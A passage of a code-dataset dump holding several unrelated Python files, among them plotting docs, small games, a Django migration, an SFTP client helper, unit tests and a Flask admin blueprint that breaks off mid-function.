ylabel='ylabel\\nylabel\\nylabel\\nylabel'\n )\n axs.format(\n grid=False,\n toplabels=('Column 1', 'Column 2', 'Column 3'),\n leftlabels=('Row 1', 'Row 2', 'Row 3'),\n suptitle=f'Tight layout with {descrip} row-column spacing',\n )\n\n# %%\nimport proplot as pplt\n\n# Stress test of the tight layout algorithm\n# This time override the algorithm between selected subplot rows/columns\nfig, axs = pplt.subplots(\n ncols=4, nrows=3, refwidth=1.1, span=False,\n bottom='5em', right='5em', # margin spacing overrides\n wspace=(0, 0, None), hspace=(0, None), # column and row spacing overrides\n)\naxs.format(\n grid=False,\n xlocator=1, ylocator=1, tickdir='inout',\n xlim=(-1.5, 1.5), ylim=(-1.5, 1.5),\n suptitle='Tight layout with user overrides',\n toplabels=('Column 1', 'Column 2', 'Column 3', 'Column 4'),\n leftlabels=('Row 1', 'Row 2', 'Row 3'),\n)\naxs[0, :].format(xtickloc='top')\naxs[2, :].format(xtickloc='both')\naxs[:, 1].format(ytickloc='neither')\naxs[:, 2].format(ytickloc='right')\naxs[:, 3].format(ytickloc='both')\naxs[-1, :].format(xlabel='xlabel', title='Title\\nTitle\\nTitle')\naxs[:, 0].format(ylabel='ylabel')\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\" tags=[]\n# .. _ug_share:\n#\n# Axis sharing\n# ------------\n#\n# Figures with lots of subplots often have :ref:`redundant labels `.\n# To help address this, `matplotlib.pyplot.subplots` includes the `sharex` and\n# `sharey` keyword arguments that permit sharing axis limits, ticks, and tick labels\n# between like rows and columns of subplots. ProPlot builds on this feature by...\n#\n# #. Automatically sharing axes between subplots and :ref:`panels `\n# occupying the same rows or columns of the `~proplot.gridspec.GridSpec`. This\n# works for :ref:`aribtrarily complex subplot grids `. It also works\n# if subplots were generated one-by-one with `~proplot.figure.Figure.add_subplot`\n# rather than `~proplot.figure.Figure.subplots`. It is controlled by the `sharex`\n# and `sharey` keywords (default is :rc:`subplots.share`). You can use the\n# `share` keyword as a shorthand to set both `sharex` and `sharey`.\n# #. Automatically sharing labels across subplots and :ref:`panels `\n# with edges against the same row or column of the `~proplot.gridspec.GridSpec`.\n# This also works for complex grids and subplots generated one-by-one. It is\n# controlled by the `spanx` and `spany` keywords (default is :rc:`subplots.span`).\n# Use the `span` keyword as a shorthand to set both `spanx` and `spany`.\n# #. Supporting five sharing \"levels\". These values can be passed to `sharex`,\n# `sharey`, or `share`, or assigned to :rcraw:`subplots.share`. The levels\n# are defined as follows:\n#\n# * ``False`` or ``0``: Axis sharing is disabled.\n# * ``'labels'``, ``'labs'``, or ``1``: Axis labels are shared, but\n# nothing else. Labels will appear on the leftmost and bottommost subplots.\n# * ``'limits'``, ``'lims'``, or ``2``: Same as ``1``, but axis limits, axis\n# scales, and major and minor tick locations and formatting are also shared.\n# * ``True`` or ``3``: Same as ``2``, but axis tick labels are also shared.\n# Tick labels will appear on the leftmost and bottommost subplots.\n# * ``'all'`` or ``4``: Same as ``3``, but axis limits, axis scales, and\n# axis ticks are shared even between subplots not in the same row or column.\n#\n# The below examples demonstrate the effect of various axis and label sharing\n# settings on the appearance of several subplot grids.\n\n# %%\nimport proplot as pplt\nimport numpy as np\nN = 50\nM = 40\nstate = np.random.RandomState(51423)\ncycle = pplt.Cycle('grays_r', M, left=0.1, right=0.8)\ndatas = []\nfor scale in (1, 3, 7, 0.2):\n data = scale * (state.rand(N, M) - 0.5).cumsum(axis=0)[N // 2:, :]\n datas.append(data)\n\n# Same plot with different sharing and spanning settings\nfor i, share in enumerate((False, 'labels', 'limits', True)):\n fig = pplt.figure(refaspect=1, refwidth=1.06, sharey=share, spanx=i // 2)\n axs = fig.subplots(ncols=4)\n for ax, data in zip(axs, datas):\n on = ('off', 'on')[i // 2]\n ax.plot(data, cycle=cycle)\n ax.format(\n suptitle=f'Sharing mode {share!r} (level {i}) with spanning labels {on}',\n grid=False, xlabel='spanning axis', ylabel='shared axis'\n )\n\n# %%\nimport proplot as pplt\nimport numpy as np\npplt.rc.reset()\npplt.rc.cycle = 'Set3'\nstate = np.random.RandomState(51423)\n\n# Same plot with and without default sharing settings\ntitles = ('With redundant labels', 'Without redundant labels')\nfor b in (False, True):\n fig = pplt.figure(refwidth=1, share=b, span=b)\n axs = fig.subplots(nrows=4, ncols=4)\n for ax in axs:\n ax.plot((state.rand(100, 20) - 0.4).cumsum(axis=0))\n axs.format(\n abc=True, abcloc='ul', suptitle=titles[b],\n xlabel='xlabel', ylabel='ylabel',\n grid=False, xticks=25, yticks=5\n )\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_units:\n#\n# Physical units\n# --------------\n#\n# ProPlot supports arbitrary physical units for controlling the figure\n# `figwidth` and `figheight`, the reference subplot `refwidth` and `refheight`,\n# the gridspec spacing and tight layout padding values `left`, `right`, `bottom`,\n# `top`, `wspace`, `hspace`, `outerpad`, `innerpad`, `panelpad`, `wpad`, and `hpad`,\n# the `~proplot.axes.Axes.panel_axes` and `~proplot.axes.Axes.colorbar` widths,\n# and all applicable `~proplot.config.rc` settings (e.g., settings controlling\n# legend spacing, label padding, and font size). This feature is powered by the\n# `~proplot.utils.units` function.\n#\n# A table of acceptable physical units is found :ref:`here `.\n# They include centimeters, millimeters, pixels,\n# `em-heights `__,\n# `en-heights `__,\n# and `points `__.\n# The default physical unit (assumed when an argument is numeric) depends on the\n# context. For legend and gridspec spaces, it is em-widths. For subplot and\n# figure sizes, it is inches. For text padding and font sizes, it is points. See\n# the relevant documentation in the :ref:`API reference ` for details.\n\n# %%\nimport proplot as pplt\nimport numpy as np\nwith pplt.rc.context(fontsize='12px'):\n fig, axs = pplt.subplots(\n ncols=3, figwidth='15cm', figheight='3in',\n wspace=('10pt', '20pt'), right='10mm',\n )\n cmap = pplt.Colormap('Mono')\n cb = fig.colorbar(\n cmap, loc='b', extend='both', label='colorbar',\n width='2em', extendsize='3em', shrink=0.8,\n )\n pax = axs[2].panel_axes('r', width='5en')\naxs.format(\n suptitle='Arguments with arbitrary units',\n xlabel='x axis', ylabel='y axis',\n xlim=(0, 1), ylim=(0, 1),\n)\n","sub_path":"docs/layout.py","file_name":"layout.py","file_ext":"py","file_size_in_byte":18202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"381907472","text":"import random\nHANGMAN_PICS = ['''我的状态：很高兴''', '''我的状态：高兴''','''我的状态：低落''','''我的状态：恐慌''','''我的状态：死亡''']\n\nwords = \"today happy teacher wonderful school holiday homework coffee \".split()\n\ndef getRandomWord(wordList):\n wordIndex = random.randint(0, len(words) - 1)\n return wordList[wordIndex]\n\ndef displayBoard(missedLetters, correctLetters, secretWord):\n print(HANGMAN_PICS[len(missedLetters)])\n print()\n\n print(\"尝试过的字符:\", end= \"\")\n\n for letter in missedLetters:\n print(letter, end = \" \")\n print()\n\n blanks = \"0\" * len(secretWord)\n\n for i in range(len(secretWord)):\n if secretWord[i] in correctLetters:\n blanks = blanks[:i] + secretWord[i] + blanks[i+1:]\n\n for letter in blanks:\n print(letter, end=\" \")\n print()\n\ndef getGuess(alreadyGuessed):\n while True:\n print(\"猜一个字母吧。\")\n guess = input()\n guess = guess.lower()\n if len(guess) != 1:\n print(\"只输入一个字符。\")\n elif guess in alreadyGuessed:\n print(\"你已经猜过了这个字符。\")\n elif guess not in 'abcdefghijklmnopqrstuvwxyz':\n print(\"请只输入字母。\")\n else:\n return guess\n\ndef playAgain():\n print(\"再玩一次？（y/n）\")\n return input().lower().startswith('y')\n\n\nprint(\"恐怖字符游戏\")\nmissedLetters = \"\"\ncorrectLetters = \"\"\nsecretWord = getRandomWord(words)\ngameIsDone = False\n\nwhile True:\n displayBoard(missedLetters, correctLetters, secretWord)\n\n guess = getGuess(missedLetters + correctLetters)\n\n if guess in secretWord:\n correctLetters = correctLetters + guess\n\n foundAllLetters = True\n for i in range(len(secretWord)):\n if secretWord[i] not in correctLetters:\n foundAllLetters = False\n break\n if foundAllLetters:\n print(f\"恭喜你，你已经找到了 '{secretWord}' 这个秘密了！\")\n gameIsDone = True\n else:\n missedLetters = missedLetters + guess\n\n if len(missedLetters) == len(HANGMAN_PICS) -1:\n displayBoard(missedLetters, correctLetters, secretWord)\n print(\"你的竞猜已经完毕！\\n经过 \" + str(len(missedLetters)) + ' 次竞猜有 ' + str(len(correctLetters)) + ' 次才对, 答案是 \"' + secretWord + '\"')\n gameIsDone = True\n\n if gameIsDone:\n if playAgain():\n missedLetters = \"\"\n correctLetters = \"\"\n gameIsDone = False\n secretWord = getRandomWord(words)\n else:\n break\n","sub_path":"new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":2663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"301638698","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('tasks', '0013_calendarsettings'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='calendarsettings',\n options={'verbose_name_plural': 'Calendar settings'},\n ),\n migrations.AlterModelOptions(\n name='recurringtasktemplate',\n options={'ordering': ['short_desc', '-sunday', '-monday', '-tuesday', '-wednesday', '-thursday', '-friday', '-saturday']},\n ),\n migrations.AddField(\n model_name='task',\n name='status',\n field=models.CharField(default='W', choices=[('W', 'Workable'), ('R', 'Reviewable'), ('D', 'Done'), ('C', 'Canceled')], help_text='The status of this task.', max_length=1),\n ),\n ]\n","sub_path":"tasks/migrations/0014_auto_20151002_1646.py","file_name":"0014_auto_20151002_1646.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"645970583","text":"from django.contrib import admin\nfrom .models import Question, Choice\n\nclass QuestionAdmin(admin.ModelAdmin):\n fieldsets = [\n (None, {'fields' : ['question_text']}),\n ('Date information', {'fields' : ['pud_date']}),\n ]\n # fields = ['pud_date','question_text']\n\n\nadmin.site.register(Question)\nadmin.site.register(Choice)\n\n","sub_path":"polls/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"423073745","text":"import timeit\n\nfrom tensorflow.keras.datasets import cifar10\n\nimport autokeras as ak\n\n\ndef main():\n (x_train, y_train), (x_test, y_test) = cifar10.load_data()\n clf = ak.ImageClassifier(max_trials=10,\n directory='tmp_dir',\n overwrite=True)\n\n start_time = timeit.default_timer()\n clf.fit(x_train, y_train)\n stop_time = timeit.default_timer()\n\n accuracy = clf.evaluate(x_test, y_test)[1]\n print('Accuracy: {accuracy}%'.format(accuracy=round(accuracy * 100, 2)))\n print('Total time: {time} seconds.'.format(time=round(stop_time - start_time, 2)))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"benchmark/cifar10.py","file_name":"cifar10.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"519406632","text":"from swyf.x import x\nfrom swyf.x.window_manager import WindowManager\nfrom swyf.core.dock import Dock\nfrom swyf.core import gtk\nfrom swyf.err import SwyfFatalError, SwyfStop\nfrom swyf.util.log import Logger\nimport os\nfrom time import sleep\n\nlog = Logger('main')\n\nlog.tmi('Environment:')\nfor i in os.environ.items():\n log.tmi('\\t%s : %s' % i)\nlog.inf('\\n\\n\\t*** s w y f ***\\n\\n')\n\nif __name__ == '__main__':\n\n wm = WindowManager()\n dock = Dock()\n\n try:\n x.begin()\n wm.begin()\n dock.begin()\n\n # Main loop\n log.inf('Entering main loop.')\n while True:\n wm.tick()\n gtk.tick()\n\n sleep(0.001)\n\n except SwyfStop:\n log.inf(\"Stopping...\")\n\n except SwyfFatalError:\n log.err('Fatal error.')\n\n except KeyboardInterrupt:\n print()\n log.war('Keyboard Interrupt.')\n\n except Exception as ex:\n log.trace(ex)\n log.err('Crashed!')\n\n finally:\n dock.end()\n wm.end()\n x.end()\n log.inf('Bye!')\n","sub_path":"swyf/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"421321280","text":"skill = []\nskill1 = {\n 'Name': 'Tackle',\n 'Min level': 1,\n 'Damage': 5,\n 'Hit rate': 0.3\n}\n\nskill2 = {\n 'Name': 'Quick attack',\n 'Min level': 2,\n 'Damage': 3,\n 'Hit rate': 0.5\n}\n\nskill3 = {\n 'Name': 'Strong kick',\n 'Min level': 4,\n 'Damage': 7,\n 'Hit rate': 0.3\n}\n\nskill.append(skill1)\nskill.append(skill2)\nskill.append(skill3)\ni=1\nfor k in skill:\n print(\"Skill\", i)\n print(k['Name'])\n i+=1\n\ncharacter = {\n 'Name' : 'Tackle',\n 'Age': 17,\n 'Strength' : 8,\n 'Defense': 10,\n 'HP': 100,\n 'Backpack': [\"shield\", 'bread loaf'], \n 'Gold': 100,\n 'level': 2\n}\nloop = True\nwhile loop:\n try:\n n = int(input(\"Choose skill: \"))\n if n == 1:\n if skill1['Min level'] <= character['level']:\n print(\"Skill damage: \", skill1['Damage'])\n else:\n print(\"No permission\")\n if n == 2:\n if skill2['Min level'] <= character['level']:\n print(\"Skill damage: \", skill2['Damage'])\n else:\n print(\"No permission\")\n if n ==3:\n if skill3['Min level'] <= character['level']:\n print(\"Skill damage: \", skill3['Damage'])\n else:\n print(\"No permission\")\n if n >=4:\n print(\"Dont have that skill\")\n except ValueError:\n pass\n \n\n\n\n\n\n","sub_path":"mini_hack/ex27.py","file_name":"ex27.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"426764886","text":"import os, sys, time, getopt\nos.environ['CORAL_MSGFORMAT']='ATLAS'\nos.environ['CORAL_CONNECTIONPOOL_VERBOSE']='1'\n\nfrom PyCoralTest import validateBackends\n[urlRW,urlRO] = validateBackends( \"oracle:oracle\" )\n\ndef usage():\n print('Usage:', sys.argv[0], '[-c ] [-p = 0)>] [-t = 0)>]')\n sys.exit(1)\n\ntry:\n opts, args = getopt.getopt( sys.argv[1:], \"hc:p:t:\", [\"help\", \"cleanup=\", \"period=\",\"timeout=\"] )\nexcept getopt.GetoptError:\n usage()\n\nc=None\np=None\nt=None\nfor opt, arg in opts:\n if opt in (\"-h\", \"--help\"):\n usage()\n elif opt in (\"-c\", \"--cleanup\"):\n if arg == 'T' or arg == 'True': c=True \n elif arg == 'F' or arg == 'False': c=False\n else: usage()\n elif opt in (\"-p\", \"--period\"):\n try: p = int(arg) \n except: usage()\n if p<0: usage()\n elif opt in (\"-t\", \"--timeout\"):\n try: t = int(arg) \n except: usage()\n if t<0: usage()\n\nif p is not None:\n print('Set period to: ', p)\n os.environ['CORAL_CONNECTIONPOOL_CLEANUPPERIOD']=str(p)\nelse:\n print('Set period to: DEFAULT')\n # NB: This must be set _before_ retrieving ConnectionService.configuration()\n os.environ['CORAL_CONNECTIONPOOL_CLEANUPPERIOD']='10' # easier...\n\nimport coral\nsvc=coral.ConnectionService()\ncfg=svc.configuration()\n\nif c is not None:\n print('Set cleanup to:', c)\n if c: cfg.enablePoolAutomaticCleanUp()\n else: cfg.disablePoolAutomaticCleanUp()\nelse:\n print('Set cleanup to: DEFAULT')\n\nif t is not None:\n print('Set timeout to:', t)\n cfg.setConnectionTimeOut(t)\nelse:\n print('Set timeout to: DEFAULT')\n\nprint('Timeout:', cfg.connectionTimeOut())\nprint('Period: ', os.environ['CORAL_CONNECTIONPOOL_CLEANUPPERIOD'])\nprint('Cleanup:', cfg.isPoolAutomaticCleanUpEnabled())\n\n###sys.exit(0)\n\n# === WARNING #1: calling disablePoolAutomaticCleanUp() has no effect if the\n# cleanup thread has already started, i.e. after the first call to connect()\n\n# === WARNING #2: connection timeout and pool cleanup period are different;\n# the latter is set by CORAL_CONNECTIONPOOL_CLEANUPPERIOD (CORALCOOL-847)\n\nprint()\nprint('== Connect')\nses=svc.connect(urlRW)\nprint()\nprint('== Disconnect')\nses=0\nprint()\nfor i in range(0, 5):\n print('== Sleep 1 seconds (', i+1, 'of 5 )')\n time.sleep(1)\n\nif not cfg.isPoolAutomaticCleanUpEnabled():\n print()\n print('== Enable pool automatic cleanup')\n cfg.enablePoolAutomaticCleanUp()\nelse:\n print()\n print('== Disable pool automatic cleanup (WARNING: NO EFFECT!)')\n cfg.disablePoolAutomaticCleanUp()\n\nprint()\nprint('== Connect')\nses=svc.connect(urlRW)\nprint()\nprint('== Disconnect')\nses=0\nprint()\nfor i in range(0, 5):\n print('== Sleep 1 seconds (', i+1, 'of 5 )')\n time.sleep(1)\n\nprint()\nprint('== Exit')\n\n","sub_path":"PyCoral/tests/Python3/test_autoCleanup_coralcool948.py","file_name":"test_autoCleanup_coralcool948.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"615981398","text":"import paramiko, os\nfrom os import path, access, R_OK\n\n\nclass sftpconn(object):\n\n\trsa_private_key = r'/path/to/your/rsa.key'\n\n\tdef __init__(self, logfile, username, password, host, port, ssh_key):\n\t\tparamiko.util.log_to_file(logfile)\n\t\t\n\t\tprint ('Establishing SSH connection to:', host, port, '...')\n\t\tself.transport = paramiko.Transport((host, int(port)))\n\n\t\tif ssh_key == True:\n\t\t\tsshkey = paramiko.RSAKey.from_private_key_file(self.rsa_private_key)\n\t\t\tself.transport.connect(username = username, pkey = sshkey)\n\n\t\telse:\t\n\t\t\tself.transport.connect(username = username, password = password)\n\n\t\tself.sftp = paramiko.SFTPClient.from_transport(self.transport)\n\t\t\t\n\t# check if the file exists\n\tdef check_file(self, PATH):\n\t\tif path.exists(PATH) and path.isfile(PATH) and access(PATH, R_OK):\n\t\t\treturn 0\n\t\telse:\n\t\t\treturn 1\n\n\t# this function will allow the use of wildcards in between underscores, eg: file_*_name.txt\n\tdef is_match(self, a, b):\n\t\taa = a.split('_')\n\t\tbb = b.split('_')\n\t\tif len(aa) != len(bb): return False\n\t\tfor x, y in zip(aa, bb):\n\t\t\tif not (x == y or x == '*' or y == '*'): return False\n\t\treturn True\n\n\t\n\tdef get(self, file_formats, local_dir, local_base_dir, remote_dir):\n\t\tfiles_copied = 0\n\t\terrors = 0\n\t\tsummary = ''\n\t\tactual_files = []\n\t\tremote_files = []\n\t\tprint ('local_dir:', local_dir)\n\t\tprint ('local_base_dir:', local_base_dir)\n\t\ttry:\n\t\t\tfor f in self.sftp.listdir(remote_dir):\n\t\t\t\tremote_files.append(f)\n\n\t\t\tdifference = list(set(remote_files).difference(file_formats))\n\t\t\t# print(difference)\n\t\t\t# for file_format in file_formats:\n\t\t\tfor f in difference:\n\t\t\t\tactual_files.append(remote_dir+f)\n\n\t\t\tfor actual_file in actual_files:\n\t\t\t\tprint ('actual_file:', actual_file)\n\t\t\t\tbase_file = actual_file.replace(remote_dir, '')\n\t\t\t\tself.sftp.get(actual_file, local_dir + base_file)\n\t\t\t\tself.sftp.get(actual_file, local_base_dir + base_file)\n\n\t\t\t\tfiles_copied += 1\n\t\t\t\tsummary += \"[Copied] \" + local_dir + base_file + '\\n'\n\n\t\t\tif errors > 0 or files_copied == 0:\n\t\t\t\tprint ('summary:', summary)\n\t\t\t\tif files_copied == 0:\n\t\t\t\t\treturn [summary, \"No files available for transfer.\", 'No Files']\n\t\t\t\telse:\n\t\t\t\t\treturn [summary, \"This transaction failed with \"+ str(errors) +\" error/s:\\n\\n\" + summary, 'Failed']\n\t\t\telse:\n\t\t\t\treturn [summary, \"Total file/s copied: %s. Summary: %s\" % (str(files_copied), summary), 'Success']\n\n\t\texcept Exception as e:\n\t\t\t\tprint ('exception:', e)\n\t\t\t\treturn [summary, \"Error while copying file : \" + str(e), 'Failed']\n\n\tdef chdir(self, dir):\n \t\tself.sftp.chdir(dir)\n\n\tdef ls(self, remote):\n\t\treturn self.sftp.listdir(remote)\n\n\tdef close(self):\n\t\tif self.transport.is_active():\n\t\t\tself.sftp.close()\n\t\t\tself.transport.close()\n\n\tdef __enter__(self):\n\t\treturn self\n\n\tdef __exit__(self, type, value, tb):\n\t\tself.close()\n\n\t# def mput(self, local, remote):\n\t# \tfiles_copied = 0\n\t# \tsummary = ''\n\t# \ttry:\n\t# \t\tfor root, dirs, files in os.walk(local):\n\t# \t\t\tprint files\n\t# \t\t\tfor name in sorted(files):\n\t# \t\t\t\tfilename = os.path.join(root, name)\n\t# \t\t\t\tself.sftp.put(filename, remote + name)\n\t# \t\t\t\tfiles_copied += 1\n\t# \t\t\t\tsummary = summary + \"Copied: \" + remote + name + \"\\n\"\n\t# \t\treturn [summary, \"Total file/s copied: \" + str(files_copied), 'Success']\n\t# \texcept Exception, e:\n\t# \t\treturn [summary, \"Error: \" + str(e), 'Failed']\n\n\tdef mget(self, lfile, local, remote):\n\t\tfiles_copied = 0\n\t\tsummary = ''\n\t\ttry:\n\n\t\t\tfor f in self.sftp.listdir(remote):\n\t\t\t\tprint (f)\n\t\t\t\tself.sftp.get(remote+f, local+f)\n\t\t\t\tfiles_copied += 1\n\t\t\t\tsummary = summary + \"Copied: \" + remote + f + \"\\n\"\n\t\t\tprint (summary)\n\t\t\treturn [summary, \"Total file/s copied: \" + str(files_copied), 'Success']\n\t\texcept Exception as e:\n\t\t\tprint (e)\n\t\t\treturn [summary, \"Error: \" + str(e), 'Failed']\n\n\n","sub_path":"sftpconn.py","file_name":"sftpconn.py","file_ext":"py","file_size_in_byte":3706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"189689821","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import fetch_olivetti_faces\n\nfaces = fetch_olivetti_faces()\nfig = plt.figure(figsize=(6,6)) # figure size in inches\nfig.subplots_adjust(left=0, right=1, bottom=0, top=1, hspace=0.05, wspace=0.05)\n\n# plotting the faces\nfor i in range(64):\n ax = fig.add_subplot(8,8,i+1,xticks=[],yticks=[]) \n ax.imshow(faces.images[i], cmap=plt.cm.bone, interpolation='nearest')\nfig.show()","sub_path":"Part2: Representation of Data for Machine Learning/olivetti_faces.py","file_name":"olivetti_faces.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"480127307","text":"# Title: selection_sort.py\r\n# Author: J. Mayeux - pyRN\r\n# Date: 8-2-17\r\n\r\nimport time\r\n\r\n\r\ndef selection_sort(array, amount):\r\n print('*' * 50)\r\n print('Selection Sort'.center(50))\r\n print('*' * 50, '\\n')\r\n print('Unsorted', amount, 'item array--->', array, '\\n')\r\n start = time.time()\r\n\r\n for x in range(0, amount):\r\n low = x\r\n sort = x\r\n for y in range(sort, amount):\r\n if array[sort] <= array[y] <= array[low]:\r\n low = y\r\n sort = sort + 1\r\n if sort > amount:\r\n break\r\n array[x], array[low] = array[low], array[x]\r\n finish = time.time()\r\n print('Sorted', amount, 'item array--->', array, '\\n')\r\n print('Sorting took', finish - start, '\\n')\r\n","sub_path":"selection_sort.py","file_name":"selection_sort.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"265601284","text":"# !/usr/bin/python3\n# coding:utf-8 \n# Author : mahua\n# Email : lihh3721@gmail.com\n# Time : 2019/4/21 12:38 AM\n# FileName : test_addProject.py\n\nimport unittest\nfrom API_prac.common.http_request import HttpRequest_session\nfrom API_prac.common import rwExcel\nfrom API_prac.common import contants\nfrom ddt import ddt,data\nfrom API_prac.common.config import config\nfrom API_prac.common import context\n\n@ddt\nclass AddProjectTest(unittest.TestCase):\n excel = rwExcel.RWExcel(contants.case_file, 'add')\n cases = excel.readExcel()\n @classmethod\n def setUpClass(cls):#setUp:每个执行之前都要实例化一次，改成类方法setUpClass后就只需要在所有的执行之前实例化一次\n cls.http_request = HttpRequest_session()\n\n @data(*cases)\n def test_addProject(self,case):\n #在请求之前替换参数化的值\n case.data = context.replace(case.data)\n resp = self.http_request.http_request(case.method,case.url,case.data)\n try:\n self.assertEqual(case.expected,resp.text)\n self.excel.writeExcel(case.case_id+1,resp.text,'PASS')\n except AssertionError as e:\n self.excel.writeExcel(case.case_id+1,resp.text,'FAIL')\n raise e\n @classmethod\n def tearDownClass(cls):\n cls.http_request.close()","sub_path":"API_prac/testcases/test_addProject.py","file_name":"test_addProject.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"164105519","text":"# coding=utf-8\nimport sys\n# read .pyv file by console\ndirectory = './PYWs/'\ndestination_directory = './ATs/'\nfr = open(directory + sys.argv[1],'r')\nname_extension = sys.argv[1].split('.')\nfile_name = name_extension[0] + '.sent'\nfw = open(destination_directory + file_name, 'w')\n# load file\nparagraphList = list(fr)\n# deal with each line\nfor paragraph in paragraphList:\n words = paragraph.split()\n fw.write(' '.join(words))\n fw.write(' ')\nprint('---------------------------------------')\nprint('Executing...\\n')\nprint('Congratuation, new file ' + file_name + ' has been generated.')\nprint('---------------------------------------')\nfr.close()\nfw.close()\n","sub_path":"pinyinWord2Sentence.py","file_name":"pinyinWord2Sentence.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"352698978","text":"from flask import render_template, request, flash, redirect, url_for\nfrom . import admin\nfrom .forms import LoginForm, RegistrationForm, PostFactForm, ImportCSVFileForm\nfrom ..models import db, User, Post, AdditionalFact, TagButton\nfrom flask_login import current_user, login_user, login_required, logout_user\nfrom werkzeug.urls import url_parse\nimport csv\nimport io\nimport giphy_client\nfrom giphy_client.rest import ApiException\nimport requests\n\n\ndef find_additional_fact_index(original_fact=AdditionalFact, updated_facts=[AdditionalFact]):\n found_fact_index = -1\n for i, uf in enumerate(updated_facts):\n if uf[\"id\"] == original_fact.id:\n found_fact_index = i\n return found_fact_index\n\ndef find_tag_button_index(original_button=TagButton, updated_buttons=[TagButton]):\n found_button_index = -1\n for i, ub in enumerate(updated_buttons):\n if ub[\"id\"] == original_button.id:\n found_button_index = i\n return found_button_index\n\n\n@admin.route('/')\n@admin.route('/index')\n@login_required\ndef index():\n default_image_url = \"https://vignette.wikia.nocookie.net/justdance/images/8/8b/Alyssa_edwards_BYF_judging.gif\"\n image_url = default_image_url\n\n api_instance = giphy_client.DefaultApi()\n api_key = 'dc6zaTOxFJmzC'\n tag = 'lgbtq'\n\n try:\n api_response = api_instance.gifs_random_get(api_key, tag=tag)\n image_url = api_response.data.image_url\n except ApiException as e:\n print(\"Exception when calling DefaultApi->gifs_random_get: %s\\n\" % e)\n\n return render_template('index.html', image_url=image_url)\n\n\n@admin.route('/fact/')\n@login_required\ndef preview_fact(fact_id):\n fact = Post.query.filter_by(id=fact_id).first()\n if fact is None:\n flash('Fact not found')\n return render_template('fact.html', fact=fact)\n\n\n@admin.route('/fact/delete/')\n@login_required\ndef delete_fact(fact_id):\n fact = Post.query.filter_by(id=fact_id).first()\n if fact is None:\n flash('Fact not found')\n db.session.delete(fact)\n db.session.commit()\n return redirect(url_for('.facts'))\n\n\n@admin.route('/fact/edit/', methods=['GET', 'POST'])\n@login_required\ndef edit_fact(fact_id):\n fact = Post.query.filter_by(id=fact_id).first()\n if fact is None:\n flash('Fact not found')\n\n form = PostFactForm(obj=fact)\n form.submit.label.text = \"Save changes\"\n\n if form.validate_on_submit():\n fact.header = form.header.data\n fact.title = form.title.data\n fact.title_url = form.title_url.data\n fact.image_url = form.image_url.data\n fact.body = form.body.data\n\n original_additional_facts = AdditionalFact.query.filter_by(post_id=fact.id).all()\n updated_additional_facts = form.additional_facts.data\n\n # Remove/update old additional facts\n for of in original_additional_facts:\n db.session.delete(of)\n\n # Add new additional facts\n for af in updated_additional_facts:\n additionalFact = AdditionalFact(post_id=fact.id, title=af['title'], text=af['text'], is_long=af['is_long'])\n db.session.add(additionalFact)\n\n original_tag_buttons = TagButton.query.filter_by(post_id=fact.id).all()\n updated_tag_buttons = form.tag_buttons.data\n\n # Remove/update old tag buttons\n for ob in original_tag_buttons:\n db.session.delete(ob)\n\n # Add new tag buttons\n for tag in updated_tag_buttons:\n tagButton = TagButton(post_id=fact.id, title=tag['title'], url=tag['url'])\n db.session.add(tagButton)\n\n db.session.commit()\n return redirect(url_for('.preview_fact', fact_id=fact.id))\n\n else:\n flash(form.errors)\n\n return render_template('post_fact.html', title='Post an LGBTQ Fact', form=form)\n\n\n@admin.route('/fact/reset/')\n@login_required\ndef reset_fact(fact_id):\n fact = Post.query.filter_by(id=fact_id).first()\n if fact is None:\n flash('Fact not found')\n\n fact.shown = False\n db.session.commit()\n return redirect(url_for('.facts'))\n\n\n@admin.route('/facts')\n@login_required\ndef facts():\n facts = Post.query.all()\n return render_template('facts.html', title=\"🌈 aquabot | LGBTQ Pride Facts\", facts=facts)\n\n\n@admin.route('/login', methods=['GET', 'POST'])\ndef login():\n if current_user.is_authenticated:\n return redirect(url_for('.index'))\n form = LoginForm()\n if form.validate_on_submit():\n user = User.query.filter_by(username=form.username.data).first()\n if user is None or not user.check_password(form.password.data):\n flash('Invalid username or password')\n return redirect(url_for('.login'))\n login_user(user, remember=form.remember_me.data)\n next_page = request.args.get(\"next\")\n if not next_page or url_parse(next_page).netloc != '':\n next_page = url_for('.index')\n return redirect(next_page)\n return render_template('login.html', title='Sign In', form=form)\n\n\n@admin.route('/register', methods=['GET', 'POST'])\ndef register():\n if current_user.is_authenticated:\n 